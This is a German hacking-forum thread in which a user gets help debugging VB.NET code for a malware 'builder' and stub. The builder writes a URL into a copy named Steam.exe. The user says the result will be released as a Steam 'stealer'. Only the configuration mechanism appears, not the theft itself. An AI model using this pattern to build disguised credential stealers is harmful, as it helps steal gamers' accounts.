PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : [VB.NET] Builder / Server problem



LeadOr
16.07.2009, 12:35
Hey ich hab irgendwie nen problem mit meinem server o0
Ich übergebe eine einzige url und schreibe sie ans ende der stub

die stub kopiert sich und liest sich selbst aus allerdings kommt beim auslesen der fehler dass angeblich mein string in integer konvertiert wird o0 ich wüsste nicht wo und wieso überhaupt

vlt findet sich ja jemand der mir helfen kann (The Papst, aus seinem tutorial is die funktion, antwortet mir nich :p)

Builder:

Dim FileName As String = Application.StartupPath & "\Steam.exe"
If File.Exists(Application.StartupPath & "\stub.exe") Then
FileCopy(Application.StartupPath & "\stub.exe", Application.StartupPath & "\Steam.exe")

Else
MessageBox.Show("Can't find stub.exe.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
Exit Sub
End If
Dim Url As String = TextBox1.Text
If TextBox1.Text = "" Then
MessageBox.Show("Wrong Url.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
Exit Sub
End If


'Hier geht dad los
Dim Einstellungen As New VB6.FixedLengthString(100)
Einstellungen.Value = Url

FileOpen(1, (FileName), OpenMode.Binary)
FilePut(1, Einstellungen.Value, LOF(1) + 1)
FileClose(1)
MessageBox.Show("Steam.exe created.", "Finished", MessageBoxButtons.OK, MessageBoxIcon.Information)Server:


File.Copy(Application.ExecutablePath, "C:\build.exe")

Dim Einstellungen As New VB6.FixedLengthString(100)

File.Open(1, "C:\build.exe", OpenMode.Binary)
FileGet(1, Einstellungen.Value, LOF(1) - 99)
FileClose(1)

Url = Einstellungen.Value

Kill("C:\build.exe")Und dann bekomm ich die fehlermeldung beim starten des servers:



************** Exception Text **************
System.InvalidCastException: Conversion from string "C:\build.exe" to type 'Integer' is not valid. ---> System.FormatException: Input string was not in a correct format.
Hier nochmal die komplette:



See the end of this message for details on invoking
just-in-time (JIT) debugging instead of this dialog box.

************** Exception Text **************
System.InvalidCastException: Conversion from string "C:\build.exe" to type 'Integer' is not valid. ---> System.FormatException: Input string was not in a correct format.
at Microsoft.VisualBasic.CompilerServices.Conversions .ParseDouble(String Value, NumberFormatInfo NumberFormat)
at Microsoft.VisualBasic.CompilerServices.Conversions .ToInteger(String Value)
--- End of inner exception stack trace ---
at Microsoft.VisualBasic.CompilerServices.Conversions .ToInteger(String Value)
at Steam.Form1.Form1_Load(Object sender, EventArgs e)
at System.EventHandler.Invoke(Object sender, EventArgs e)
at System.Windows.Forms.Form.OnLoad(EventArgs e)
at System.Windows.Forms.Form.OnCreateControl()
at System.Windows.Forms.Control.CreateControl(Boolean fIgnoreVisible)
at System.Windows.Forms.Control.CreateControl()
at System.Windows.Forms.Control.WmShowWindow(Message& m)
at System.Windows.Forms.Control.WndProc(Message& m)
at System.Windows.Forms.ScrollableControl.WndProc(Mes sage& m)
at System.Windows.Forms.ContainerControl.WndProc(Mess age& m)
at System.Windows.Forms.Form.WmShowWindow(Message& m)
at System.Windows.Forms.Form.WndProc(Message& m)
at System.Windows.Forms.Control.ControlNativeWindow.O nMessage(Message& m)
at System.Windows.Forms.Control.ControlNativeWindow.W ndProc(Message& m)
at System.Windows.Forms.NativeWindow.Callback(IntPtr hWnd, Int32 msg, IntPtr wparam, IntPtr lparam)


************** Loaded Assemblies **************
mscorlib
Assembly Version: 2.0.0.0
Win32 Version: 2.0.50727.3053 (netfxsp.050727-3000)
CodeBase: file:///C:/WINDOWS/Microsoft.NET/Framework/v2.0.50727/mscorlib.dll
----------------------------------------
SteamLogin
Assembly Version: 1.0.0.0
Win32 Version: 1.0.0.0
CodeBase: file:///C:/Documents%20and%20Settings/Platinum/My%20Documents/Visual%20Studio%202008/Projects/SteamLoginBuilder/SteamLoginBuilder/bin/Release/Steam.exe
----------------------------------------
Microsoft.VisualBasic
Assembly Version: 8.0.0.0
Win32 Version: 8.0.50727.3053 (netfxsp.050727-3000)
CodeBase: file:///C:/WINDOWS/assembly/GAC_MSIL/Microsoft.VisualBasic/8.0.0.0__b03f5f7f11d50a3a/Microsoft.VisualBasic.dll
----------------------------------------
System
Assembly Version: 2.0.0.0
Win32 Version: 2.0.50727.3053 (netfxsp.050727-3000)
CodeBase: file:///C:/WINDOWS/assembly/GAC_MSIL/System/2.0.0.0__b77a5c561934e089/System.dll
----------------------------------------
System.Windows.Forms
Assembly Version: 2.0.0.0
Win32 Version: 2.0.50727.3053 (netfxsp.050727-3000)
CodeBase: file:///C:/WINDOWS/assembly/GAC_MSIL/System.Windows.Forms/2.0.0.0__b77a5c561934e089/System.Windows.Forms.dll
----------------------------------------
System.Drawing
Assembly Version: 2.0.0.0
Win32 Version: 2.0.50727.3053 (netfxsp.050727-3000)
CodeBase: file:///C:/WINDOWS/assembly/GAC_MSIL/System.Drawing/2.0.0.0__b03f5f7f11d50a3a/System.Drawing.dll
----------------------------------------
System.Runtime.Remoting
Assembly Version: 2.0.0.0
Win32 Version: 2.0.50727.3053 (netfxsp.050727-3000)
CodeBase: file:///C:/WINDOWS/assembly/GAC_MSIL/System.Runtime.Remoting/2.0.0.0__b77a5c561934e089/System.Runtime.Remoting.dll
----------------------------------------
Microsoft.VisualBasic.Compatibility
Assembly Version: 8.0.0.0
Win32 Version: 8.0.50727.3053
CodeBase: file:///C:/WINDOWS/assembly/GAC_MSIL/Microsoft.VisualBasic.Compatibility/8.0.0.0__b03f5f7f11d50a3a/Microsoft.VisualBasic.Compatibility.dll
----------------------------------------
System.Xml
Assembly Version: 2.0.0.0
Win32 Version: 2.0.50727.3053 (netfxsp.050727-3000)
CodeBase: file:///C:/WINDOWS/assembly/GAC_MSIL/System.Xml/2.0.0.0__b77a5c561934e089/System.Xml.dll
----------------------------------------

************** JIT Debugging **************
To enable just-in-time (JIT) debugging, the .config file for this
application or computer (machine.config) must have the
jitDebugging value set in the system.windows.forms section.
The application must also be compiled with debugging
enabled.

For example:

<configuration>
<system.windows.forms jitDebugging="true" />
</configuration>

When JIT debugging is enabled, any unhandled exception
will be sent to the JIT debugger registered on the computer
rather than be handled by this dialog box.


Der pfad ansich zur build.exe ist egal kommt immer der fehler.

inout
16.07.2009, 13:01
Client

FileOpen(1, (FileName), OpenMode.Binary)Server

File.Open(1, "C:\build.exe", OpenMode.Binary)fällt dir was auf? ;)

LeadOr
16.07.2009, 13:04
ne garnich xD

gott bin ich dumm gleich mal testen -.-^^

inmate
16.07.2009, 13:05
achja du darfst nicht ("C:\scheiben , deklarier den Pfad mal als Variable

LeadOr
16.07.2009, 14:13
jo passt alles danke :) dafür bekommt ihr jetzt auch das tool :P

stealer section ... ^^

habs auch als variable gemacht :)